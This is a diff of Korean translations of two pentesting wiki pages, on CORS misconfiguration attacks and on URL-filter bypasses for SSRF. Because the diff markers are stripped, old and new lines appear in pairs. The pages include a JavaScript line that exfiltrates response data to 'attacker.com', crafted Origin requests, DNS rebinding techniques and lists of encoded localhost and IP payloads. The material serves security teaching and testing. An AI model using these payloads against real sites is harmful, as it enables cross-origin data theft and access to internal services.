* **`Access-Control-Expose-Headers`**: 이 헤더를 통해 서버는 클라이언트에게 간단한 응답 헤더 외에 응답의 일부로 노출될 수 있는 헤더에 대해 알립니다.
|
||||
* **`Access-Control-Expose-Headers`**: 이 헤더를 통해 서버는 간단한 응답 헤더 외에 응답의 일부로 노출될 수 있는 헤더에 대해 클라이언트에 알립니다.
|
||||
* **`Access-Control-Max-Age`**: 이 헤더는 사전 요청의 결과를 얼마나 오랫동안 캐시할 수 있는지를 나타냅니다. 서버는 사전 요청에 의해 반환된 정보가 재사용될 수 있는 최대 시간을 초 단위로 설정합니다.
|
||||
* **`Access-Control-Request-Headers`**: 사전 요청에서 사용되며, 이 헤더는 클라이언트가 실제 요청에서 사용하고자 하는 HTTP 헤더에 대해 서버에 알리기 위해 클라이언트에 의해 설정됩니다.
|
||||
* **`Access-Control-Request-Method`**: 이 헤더는 사전 요청에서도 사용되며, 클라이언트가 실제 요청에서 사용할 HTTP 메서드를 나타내기 위해 클라이언트에 의해 설정됩니다.
|
||||
* **`Origin`**: 이 헤더는 브라우저에 의해 자동으로 설정되며, 교차 출처 요청의 출처를 나타냅니다. 서버는 CORS 정책에 따라 수신 요청을 허용할지 거부할지를 평가하는 데 사용합니다.
|
||||
|
||||
일반적으로 (콘텐츠 유형 및 설정된 헤더에 따라) **GET/POST 요청에서는 사전 요청이 전송되지 않습니다** (요청이 **직접** 전송됨), 그러나 **응답의 헤더/본문에 접근**하려면 _Access-Control-Allow-Origin_ 헤더가 이를 허용해야 합니다.\
|
||||
**따라서, CORS는 CSRF로부터 보호하지 않습니다 (하지만 도움이 될 수 있습니다).**
|
||||
일반적으로 (콘텐츠 유형 및 설정된 헤더에 따라) **GET/POST 요청에서는 사전 요청이 전송되지 않습니다** (요청이 **직접** 전송됨), 그러나 **응답의 헤더/본문에 접근하려면** _Access-Control-Allow-Origin_ 헤더가 포함되어 있어야 합니다.\
|
||||
**따라서, CORS는 CSRF로부터 보호하지 않지만 도움이 될 수 있습니다.**
|
||||
|
||||
### **로컬 네트워크 요청 사전 요청**
|
||||
|
||||
1. **`Access-Control-Request-Local-Network`**: 이 헤더는 클라이언트의 요청에 포함되어 문의가 로컬 네트워크 리소스를 목표로 하고 있음을 나타냅니다. 이는 요청이 로컬 네트워크 내에서 발생했음을 서버에 알리는 표시 역할을 합니다.
|
||||
2. **`Access-Control-Allow-Local-Network`**: 응답으로 서버는 이 헤더를 사용하여 요청된 리소스가 로컬 네트워크 외부의 엔티티와 공유될 수 있음을 전달합니다. 이는 서로 다른 네트워크 경계를 넘어 리소스를 공유할 수 있도록 허용하는 신호 역할을 하며, 보안 프로토콜을 유지하면서 통제된 접근을 보장합니다.
|
||||
|
||||
로컬 네트워크 요청을 허용하는 **유효한 응답**은 응답에 `Access-Controls-Allow-Local_network: true` 헤더도 포함되어야 합니다.
|
||||
**로컬 네트워크 요청을 허용하는 유효한 응답**은 응답에 `Access-Controls-Allow-Local_network: true` 헤더도 포함되어야 합니다.
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
...
|
||||
|
@ -138,7 +138,7 @@ Content-Length: 0
|
|||
|
||||
### 와일드카드
|
||||
|
||||
다음 구성은 매우 허용적인 것처럼 보일 수 있습니다:
|
||||
다음 구성이 매우 허용적인 것처럼 보일 수 있다는 점에 유의하십시오:
|
||||
```bash
|
||||
Access-Control-Allow-Origin: *
|
||||
Access-Control-Allow-Credentials: true
|
||||
|
@ -147,11 +147,11 @@ This is not allowed by browsers and therefore credentials won't be sent with the
|
|||
|
||||
## Exploitable misconfigurations
|
||||
|
||||
`Access-Control-Allow-Credentials`를 **`true`**로 설정하는 것은 대부분의 **실제 공격**에 대한 전제 조건으로 관찰되었습니다. 이 설정은 브라우저가 자격 증명을 전송하고 응답을 읽을 수 있도록 허용하여 공격의 효과를 높입니다. 이를 통해 사용자의 쿠키를 활용하는 것이 불가능해지므로, 브라우저가 요청을 발행하는 것의 이점이 줄어듭니다.
|
||||
`Access-Control-Allow-Credentials`를 **`true`**로 설정하는 것은 대부분의 **실제 공격**에 대한 전제 조건으로 관찰되었습니다. 이 설정은 브라우저가 자격 증명을 보내고 응답을 읽을 수 있도록 허용하여 공격의 효과를 높입니다. 이를 통해 사용자의 쿠키를 활용하는 것이 불가능해지므로, 브라우저가 요청을 발행하는 것의 이점이 줄어듭니다.
|
||||
|
||||
### Exception: Exploiting Network Location as Authentication
|
||||
|
||||
희생자의 네트워크 위치가 인증의 한 형태로 작용하는 예외가 존재합니다. 이는 희생자의 브라우저를 프록시로 사용하여 IP 기반 인증을 우회하고 인트라넷 애플리케이션에 접근할 수 있게 합니다. 이 방법은 DNS 리바인딩과 유사한 영향을 미치지만, 더 간단하게 악용할 수 있습니다.
|
||||
희생자의 네트워크 위치가 인증의 한 형태로 작용하는 예외가 존재합니다. 이는 희생자의 브라우저를 프록시로 사용하여 IP 기반 인증을 우회하여 인트라넷 애플리케이션에 접근할 수 있게 합니다. 이 방법은 DNS 리바인딩과 유사한 영향을 미치지만, 더 간단하게 악용할 수 있습니다.
|
||||
|
||||
### Reflection of `Origin` in `Access-Control-Allow-Origin`
|
||||
|
||||
|
@ -202,17 +202,17 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
|
|||
|
||||
### 고급 정규 표현식 우회
|
||||
|
||||
정규 표현식 패턴은 일반적으로 영숫자, 점 (.), 하이픈 (-) 문자에 집중하며, 다른 가능성을 간과합니다. 예를 들어, 브라우저와 정규 표현식 패턴에 의해 다르게 해석되는 문자를 포함하도록 제작된 도메인 이름은 보안 검사를 우회할 수 있습니다. 서브도메인에서 밑줄 문자를 처리하는 Safari, Chrome, Firefox의 방식은 이러한 불일치가 도메인 유효성 검사 논리를 우회하는 데 어떻게 이용될 수 있는지를 보여줍니다.
|
||||
정규 표현식 패턴은 일반적으로 영숫자, 점 (.), 하이픈 (-) 문자에 집중하며, 다른 가능성을 간과합니다. 예를 들어, 브라우저와 정규 표현식 패턴에 의해 다르게 해석되는 문자를 포함하도록 제작된 도메인 이름은 보안 검사를 우회할 수 있습니다. Safari, Chrome 및 Firefox의 서브도메인에서 밑줄 문자를 처리하는 방식은 이러한 불일치가 도메인 유효성 검사 논리를 우회하는 데 어떻게 이용될 수 있는지를 보여줍니다.
|
||||
|
||||
**이 우회 검사에 대한 더 많은 정보와 설정:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **및** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
|
||||
**이 우회 검사의 추가 정보 및 설정:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **및** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
|
||||
|
||||
![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (284).png>)
|
||||
|
||||
### 서브도메인 내 XSS로부터
|
||||
|
||||
개발자들은 CORS 악용으로부터 보호하기 위해 요청할 수 있는 도메인을 화이트리스트에 추가하는 방어 메커니즘을 구현하는 경우가 많습니다. 이러한 예방 조치에도 불구하고 시스템의 보안은 완벽하지 않습니다. 화이트리스트에 있는 도메인 내에 단 하나의 취약한 서브도메인이 존재하는 것만으로도 XSS (교차 사이트 스크립팅)와 같은 다른 취약점을 통해 CORS 악용의 문을 열 수 있습니다.
|
||||
개발자들은 CORS 악용으로부터 보호하기 위해 요청할 수 있는 도메인을 화이트리스트에 추가하는 방어 메커니즘을 구현하는 경우가 많습니다. 이러한 예방 조치에도 불구하고 시스템의 보안은 완벽하지 않습니다. 화이트리스트에 있는 도메인 내에 단 하나의 취약한 서브도메인이 존재하는 것만으로도 XSS (교차 사이트 스크립팅)와 같은 다른 취약점을 통해 CORS 악용의 길을 열 수 있습니다.
|
||||
|
||||
예를 들어, `requester.com`이라는 도메인이 `provider.com`의 리소스에 접근할 수 있도록 화이트리스트에 추가된 시나리오를 고려해 보십시오. 서버 측 구성은 다음과 같을 수 있습니다:
|
||||
예를 들어, `requester.com`이라는 도메인이 다른 도메인 `provider.com`의 리소스에 접근할 수 있도록 화이트리스트에 추가된 시나리오를 고려해 보십시오. 서버 측 구성은 다음과 같을 수 있습니다:
|
||||
```javascript
|
||||
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
|
||||
// Access data
|
||||
|
@ -238,7 +238,7 @@ HTTP/2 200 OK
|
|||
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
|
||||
Access-Control-Allow-Credentials: true
|
||||
```
|
||||
Safari는 도메인 이름에서 특수 문자를 수용하는 데 더욱 관대합니다:
|
||||
Safari는 도메인 이름에 특수 문자를 허용하는 데 더욱 관대합니다:
|
||||
```
|
||||
GET / HTTP/2
|
||||
Cookie: <session_cookie>
|
||||
|
@ -251,11 +251,17 @@ Cookie: <session_cookie>
|
|||
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
|
||||
Access-Control-Allow-Credentials: true
|
||||
```
|
||||
### **기타 재미있는 URL 트릭**
|
||||
|
||||
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
|
||||
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **서버 측 캐시 오염**
|
||||
|
||||
[**이 연구에서**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
||||
|
||||
HTTP 헤더 주입을 통해 서버 측 캐시 오염을 악용함으로써 저장된 교차 사이트 스크립팅(XSS) 취약점을 유도할 수 있습니다. 이 시나리오는 애플리케이션이 불법 문자를 위해 `Origin` 헤더를 정리하지 못할 때 발생하며, 특히 Internet Explorer 및 Edge 사용자에게 취약점을 생성합니다. 이러한 브라우저는 (0x0d)를 합법적인 HTTP 헤더 종료자로 처리하여 HTTP 헤더 주입 취약점을 초래합니다.
|
||||
HTTP 헤더 주입을 통해 서버 측 캐시 오염을 악용함으로써 저장된 교차 사이트 스크립팅(XSS) 취약점이 유도될 수 있습니다. 이 시나리오는 애플리케이션이 불법 문자를 위해 `Origin` 헤더를 정리하지 못할 때 발생하며, 특히 Internet Explorer 및 Edge 사용자에게 취약점을 생성합니다. 이러한 브라우저는 (0x0d)를 합법적인 HTTP 헤더 종료자로 처리하여 HTTP 헤더 주입 취약점을 초래합니다.
|
||||
|
||||
`Origin` 헤더가 조작된 다음 요청을 고려하십시오:
|
||||
```
|
||||
|
@ -278,9 +284,9 @@ Content-Type: text/html; charset=UTF-7
|
|||
|
||||
[**이 연구에서**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
||||
|
||||
이 시나리오에서는 적절한 인코딩 없이 사용자 정의 HTTP 헤더의 내용을 반영하는 웹 페이지 인스턴스가 관찰됩니다. 특히, 웹 페이지는 `X-User-id` 헤더에 포함된 내용을 반영하는데, 이 헤더에는 악성 JavaScript가 포함될 수 있으며, 이는 헤더에 JavaScript 코드를 로드할 수 있도록 설계된 SVG 이미지 태그가 포함된 예시로 보여집니다.
|
||||
이 시나리오에서는 적절한 인코딩 없이 사용자 정의 HTTP 헤더의 내용을 반영하는 웹 페이지 인스턴스가 관찰됩니다. 특히, 웹 페이지는 `X-User-id` 헤더에 포함된 내용을 반영하며, 여기에는 악성 JavaScript가 포함될 수 있습니다. 이는 헤더에 JavaScript 코드를 로드할 때 실행하도록 설계된 SVG 이미지 태그가 포함된 예로 입증됩니다.
|
||||
|
||||
교차 출처 리소스 공유(CORS) 정책은 사용자 정의 헤더의 전송을 허용합니다. 그러나 CORS 제한으로 인해 응답이 브라우저에 의해 직접 렌더링되지 않으면, 이러한 주입의 유용성은 제한적으로 보일 수 있습니다. 중요한 점은 브라우저의 캐시 동작을 고려할 때 발생합니다. `Vary: Origin` 헤더가 지정되지 않으면, 악성 응답이 브라우저에 의해 캐시될 수 있습니다. 이후, 이 캐시된 응답은 URL로 탐색할 때 직접 렌더링될 수 있으며, 초기 요청 시 직접 렌더링의 필요성을 우회합니다. 이 메커니즘은 클라이언트 측 캐싱을 활용하여 공격의 신뢰성을 높입니다.
|
||||
교차 출처 리소스 공유(CORS) 정책은 사용자 정의 헤더 전송을 허용합니다. 그러나 CORS 제한으로 인해 응답이 브라우저에 의해 직접 렌더링되지 않으면, 이러한 주입의 유용성은 제한적으로 보일 수 있습니다. 중요한 점은 브라우저의 캐시 동작을 고려할 때 발생합니다. `Vary: Origin` 헤더가 지정되지 않으면, 악성 응답이 브라우저에 의해 캐시될 수 있습니다. 이후, 이 캐시된 응답은 URL로 탐색할 때 직접 렌더링될 수 있으며, 초기 요청 시 직접 렌더링의 필요성을 우회합니다. 이 메커니즘은 클라이언트 측 캐싱을 활용하여 공격의 신뢰성을 높입니다.
|
||||
|
||||
이 공격을 설명하기 위해, 웹 페이지 환경에서 실행되도록 설계된 JavaScript 예제가 제공됩니다. 이 스크립트는 간단한 작업을 수행합니다: 악성 JavaScript가 포함된 사용자 정의 헤더로 지정된 URL에 요청을 보냅니다. 요청이 성공적으로 완료되면, 대상 URL로 탐색을 시도하며, 응답이 `Vary: Origin` 헤더를 적절히 처리하지 않고 캐시된 경우 주입된 스크립트의 실행을 유발할 수 있습니다.
|
||||
|
||||
|
@ -300,7 +306,7 @@ req.send();
|
|||
|
||||
### XSSI (Cross-Site Script Inclusion) / JSONP
|
||||
|
||||
XSSI, 또는 Cross-Site Script Inclusion으로 알려진 이 취약점은 Same Origin Policy (SOP)가 스크립트 태그를 사용하여 리소스를 포함할 때 적용되지 않는 사실을 이용하는 취약점입니다. 이는 스크립트가 서로 다른 도메인에서 포함될 수 있어야 하기 때문입니다. 이 취약점은 공격자가 스크립트 태그를 사용하여 포함된 모든 콘텐츠에 접근하고 읽을 수 있게 합니다.
|
||||
XSSI, 또는 Cross-Site Script Inclusion으로 알려진 이 취약점은 Same Origin Policy (SOP)가 script 태그를 사용하여 리소스를 포함할 때 적용되지 않는 사실을 이용하는 취약점입니다. 이는 스크립트가 서로 다른 도메인에서 포함될 수 있어야 하기 때문입니다. 이 취약점은 공격자가 script 태그를 사용하여 포함된 모든 콘텐츠에 접근하고 읽을 수 있게 합니다.
|
||||
|
||||
이 취약점은 동적 JavaScript 또는 JSONP (Padding이 있는 JSON)와 관련하여 특히 중요해지며, 특히 쿠키와 같은 환경 권한 정보가 인증에 사용될 때 더욱 그렇습니다. 다른 호스트에서 리소스를 요청할 때 쿠키가 포함되어 공격자가 접근할 수 있게 됩니다.
|
||||
|
||||
|
@ -308,7 +314,7 @@ XSSI, 또는 Cross-Site Script Inclusion으로 알려진 이 취약점은 Same O
|
|||
|
||||
[**여기에서 XSSI의 다양한 유형과 이를 악용하는 방법에 대해 더 읽어보세요.**](xssi-cross-site-script-inclusion.md)
|
||||
|
||||
요청에 **`callback`** **매개변수**를 추가해 보세요. 아마도 페이지가 JSONP로 데이터를 전송하도록 준비되었을 것입니다. 그런 경우 페이지는 `Content-Type: application/javascript`로 데이터를 다시 보내 CORS 정책을 우회할 것입니다.
|
||||
요청에 **`callback`** **매개변수**를 추가해 보세요. 아마도 페이지가 데이터를 JSONP로 전송하도록 준비되었을 것입니다. 그런 경우 페이지는 `Content-Type: application/javascript`로 데이터를 다시 전송하여 CORS 정책을 우회할 것입니다.
|
||||
|
||||
![](<../.gitbook/assets/image (856).png>)
|
||||
|
||||
|
@ -316,8 +322,8 @@ XSSI, 또는 Cross-Site Script Inclusion으로 알려진 이 취약점은 Same O
|
|||
|
||||
`Access-Control-Allow-Origin` 제한을 우회하는 한 가지 방법은 웹 애플리케이션에 요청을 대신 하도록 요청하고 응답을 다시 보내도록 하는 것입니다. 그러나 이 시나리오에서는 최종 피해자의 자격 증명이 다른 도메인에 요청이 이루어지기 때문에 전송되지 않습니다.
|
||||
|
||||
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): 이 도구는 요청과 헤더를 전달하는 프록시를 제공하며, 요청된 도메인과 일치하도록 Origin 헤더를 스푸핑합니다. 이는 CORS 정책을 효과적으로 우회합니다. XMLHttpRequest를 사용한 예는 다음과 같습니다:
|
||||
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): 이 도구는 요청을 프록시하는 대체 접근 방식을 제공합니다. 요청을 그대로 전달하는 대신 서버가 지정된 매개변수로 자체 요청을 수행합니다.
|
||||
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): 이 도구는 요청과 함께 헤더를 전달하는 프록시를 제공하며, 요청된 도메인과 일치하도록 Origin 헤더를 스푸핑합니다. 이는 CORS 정책을 효과적으로 우회합니다. XMLHttpRequest와 함께 사용하는 예는 다음과 같습니다:
|
||||
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): 이 도구는 요청을 프록시하는 대체 접근 방식을 제공합니다. 요청을 그대로 전달하는 대신, 서버가 지정된 매개변수로 자체 요청을 수행합니다.
|
||||
|
||||
### Iframe + Popup Bypass
|
||||
|
||||
|
@ -339,11 +345,11 @@ TTL을 통한 DNS 리바인딩은 DNS 레코드를 조작하여 특정 보안
|
|||
|
||||
브라우저에는 이 기술의 즉각적인 남용을 방지할 수 있는 캐싱 메커니즘이 있다는 점에 유의해야 합니다. 낮은 TTL 값에서도 마찬가지입니다.
|
||||
|
||||
DNS 리바인딩은 피해자가 수행하는 명시적인 IP 검사를 우회하거나 사용자가 오랜 시간 동안 같은 페이지에 머무르는 시나리오에서 유용할 수 있습니다. 이렇게 하면 캐시가 만료될 수 있습니다.
|
||||
DNS 리바인딩은 피해자가 수행하는 명시적인 IP 검사를 우회하거나 사용자가 오랜 시간 동안 동일한 페이지에 머무르는 시나리오에서 유용할 수 있습니다. 이 경우 캐시가 만료됩니다.
|
||||
|
||||
DNS 리바인딩을 남용할 수 있는 빠른 방법이 필요하다면 [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html)와 같은 서비스를 사용할 수 있습니다.
|
||||
DNS 리바인딩을 남용하는 빠른 방법이 필요하다면 [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html)와 같은 서비스를 사용할 수 있습니다.
|
||||
|
||||
자신의 DNS 리바인딩 서버를 운영하려면 **DNSrebinder** 도구를 사용할 수 있습니다 ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). 이는 로컬 포트 53/udp를 노출하고, 이를 가리키는 A 레코드를 생성하며 (예: ns.example.com), 이전에 생성된 A 서브도메인을 가리키는 NS 레코드를 생성하는 것을 포함합니다 (예: ns.example.com). ns.example.com 서브도메인의 모든 서브도메인은 귀하의 호스트에 의해 해결됩니다.
|
||||
자신의 DNS 리바인딩 서버를 운영하려면 **DNSrebinder** 도구([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder))를 활용할 수 있습니다. 이는 로컬 포트 53/udp를 노출하고, 이를 가리키는 A 레코드를 생성하며 (예: ns.example.com), 이전에 생성된 A 서브도메인을 가리키는 NS 레코드를 생성하는 것을 포함합니다 (예: ns.example.com). ns.example.com 서브도메인의 모든 서브도메인은 귀하의 호스트에 의해 해결됩니다.
|
||||
|
||||
더 많은 이해와 실험을 위해 [http://rebind.it/singularity.html](http://rebind.it/singularity.html)에서 공개적으로 운영되는 서버를 탐색할 수 있습니다.
|
||||
|
||||
|
@ -351,9 +357,9 @@ DNS 리바인딩을 남용할 수 있는 빠른 방법이 필요하다면 [https
|
|||
|
||||
DNS 캐시 플러딩을 통한 DNS 리바인딩은 브라우저의 캐싱 메커니즘을 우회하고 두 번째 DNS 요청을 강제하는 데 사용되는 또 다른 기술입니다. 작동 방식은 다음과 같습니다:
|
||||
|
||||
1. 처음에 피해자가 DNS 요청을 하면 공격자의 IP 주소로 응답합니다.
|
||||
1. 처음에 피해자가 DNS 요청을 하면 공격자의 IP 주소로 응답됩니다.
|
||||
2. 캐싱 방어를 우회하기 위해 공격자는 서비스 워커를 활용합니다. 서비스 워커는 DNS 캐시를 플러딩하여 캐시된 공격자 서버 이름을 효과적으로 삭제합니다.
|
||||
3. 피해자의 브라우저가 두 번째 DNS 요청을 할 때, 이제는 일반적으로 로컬호스트를 가리키는 IP 주소 127.0.0.1로 응답받습니다.
|
||||
3. 피해자의 브라우저가 두 번째 DNS 요청을 할 때, 이제는 일반적으로 로컬호스트를 가리키는 IP 주소 127.0.0.1로 응답됩니다.
|
||||
|
||||
서비스 워커로 DNS 캐시를 플러딩함으로써 공격자는 DNS 해상도 프로세스를 조작하고 피해자의 브라우저가 두 번째 요청을 하도록 강제할 수 있습니다. 이번에는 공격자가 원하는 IP 주소로 해결됩니다.
|
||||
|
||||
|
@ -366,13 +372,13 @@ DNS 캐시 플러딩을 통한 DNS 리바인딩은 브라우저의 캐싱 메커
|
|||
3. 브라우저가 공격자의 IP 주소를 먼저 사용하기로 결정하면, 공격자는 동일한 도메인에 대한 HTTP 요청을 수행하는 페이로드를 제공할 수 있습니다.
|
||||
4. 그러나 공격자가 피해자의 IP 주소를 얻으면 피해자의 브라우저에 대한 응답을 중단합니다.
|
||||
5. 피해자의 브라우저는 도메인이 응답하지 않음을 인식하고 두 번째로 제공된 IP 주소를 사용합니다.
|
||||
6. 두 번째 IP 주소에 접근함으로써 브라우저는 Same Origin Policy (SOP)를 우회하여 공격자가 이를 남용하고 정보를 수집 및 유출할 수 있게 합니다.
|
||||
6. 두 번째 IP 주소에 접근함으로써 브라우저는 Same Origin Policy (SOP)를 우회하여 공격자가 이를 남용하고 정보를 수집하고 유출할 수 있게 됩니다.
|
||||
|
||||
이 기술은 도메인에 대해 여러 IP 주소가 제공될 때 브라우저의 동작을 활용합니다. 응답을 전략적으로 제어하고 브라우저의 IP 주소 선택을 조작함으로써 공격자는 SOP를 악용하고 피해자로부터 정보를 접근할 수 있습니다.
|
||||
|
||||
{% hint style="warning" %}
|
||||
로컬호스트에 접근하려면 Windows에서는 **127.0.0.1**을 리바인딩하고 Linux에서는 **0.0.0.0**을 시도해야 합니다.\
|
||||
godaddy나 cloudflare와 같은 제공업체는 0.0.0.0 IP 사용을 허용하지 않았지만, AWS route53은 2개의 IP 중 하나가 "0.0.0.0"인 A 레코드를 생성하는 것을 허용했습니다.
|
||||
godaddy나 cloudflare와 같은 제공업체는 0.0.0.0 IP를 사용할 수 없게 했지만, AWS route53은 "0.0.0.0" 중 하나인 2개의 IP로 A 레코드를 생성할 수 있게 해주었습니다.
|
||||
|
||||
<img src="../.gitbook/assets/image (140).png" alt="" data-size="original">
|
||||
{% endhint %}
|
||||
|
@ -382,12 +388,12 @@ godaddy나 cloudflare와 같은 제공업체는 0.0.0.0 IP 사용을 허용하
|
|||
### Other Common Bypasses
|
||||
|
||||
* **내부 IP가 허용되지 않는 경우**, **0.0.0.0을 금지하는 것을 잊었을 수 있습니다** (Linux 및 Mac에서 작동)
|
||||
* **내부 IP가 허용되지 않는 경우**, **localhost에 대한 CNAME으로 응답합니다** (Linux 및 Mac에서 작동)
|
||||
* **내부 IP가 DNS 응답으로 허용되지 않는 경우**, **www.corporate.internal과 같은 내부 서비스에 대한 CNAME으로 응답할 수 있습니다**.
|
||||
* **내부 IP가 허용되지 않는 경우**, **localhost**에 대한 **CNAME**으로 응답합니다 (Linux 및 Mac에서 작동)
|
||||
* **내부 IP가 DNS 응답으로 허용되지 않는 경우**, **www.corporate.internal**과 같은 내부 서비스에 대한 **CNAME**으로 응답할 수 있습니다.
|
||||
|
||||
### DNS Rebidding Weaponized
|
||||
|
||||
이전 우회 기술 및 다음 도구 사용 방법에 대한 자세한 정보는 [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ)에서 확인할 수 있습니다.
|
||||
이전 우회 기술 및 다음 도구 사용 방법에 대한 더 많은 정보는 [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ)에서 확인할 수 있습니다.
|
||||
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity)은 [DNS 리바인딩](https://en.wikipedia.org/wiki/DNS\_rebinding) 공격을 수행하는 도구입니다. 이는 공격 서버 DNS 이름의 IP 주소를 대상 머신의 IP 주소로 리바인딩하고, 대상 머신의 취약한 소프트웨어를 악용하기 위한 공격 페이로드를 제공하는 데 필요한 구성 요소를 포함합니다.
|
||||
|
||||
|
@ -435,7 +441,7 @@ GCP 해킹을 배우고 연습하세요: <img src="../.gitbook/assets/grte.png"
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
* **HackTricks** 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,21 +1,21 @@
|
|||
# URL Format Bypass
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### Localhost
|
||||
### 로컬호스트
|
||||
```bash
|
||||
# Localhost
|
||||
http://127.0.0.1:80
|
||||
|
@ -60,6 +60,10 @@ http://0xc0a80014/ = http://192.168.0.20
|
|||
0x7f.0x00.0x00.0x01
|
||||
0x0000007f.0x00000000.0x00000000.0x00000001
|
||||
|
||||
# Mixed encodings bypass
|
||||
169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number
|
||||
0xA9.254.0251.0376 -> hexadecimal, decimal and octal
|
||||
|
||||
# Add 0s bypass
|
||||
127.000000000000.1
|
||||
|
||||
|
@ -154,7 +158,7 @@ next={domain}&next=attacker.com
|
|||
```
|
||||
### Paths and Extensions Bypass
|
||||
|
||||
URL가 경로 또는 확장자로 끝나야 하거나 경로를 포함해야 하는 경우 다음 우회 방법 중 하나를 시도할 수 있습니다:
|
||||
URL가 경로나 확장자로 끝나야 하거나 경로를 포함해야 하는 경우, 다음 우회 방법 중 하나를 시도할 수 있습니다:
|
||||
```
|
||||
https://metadata/vulerable/path#/expected/path
|
||||
https://metadata/vulerable/path#.extension
|
||||
|
@ -168,10 +172,12 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
|||
|
||||
포트스위거의 [**URL validation bypass cheat sheet** 웹앱](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet)을 확인해보세요. 여기에서 허용된 호스트와 공격자의 호스트를 입력하면 시도할 URL 목록을 생성해줍니다. 또한 URL을 매개변수, Host 헤더 또는 CORS 헤더에서 사용할 수 있는지 여부도 고려합니다.
|
||||
|
||||
{% embed url="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet" %}
|
||||
|
||||
### Bypass via redirect
|
||||
|
||||
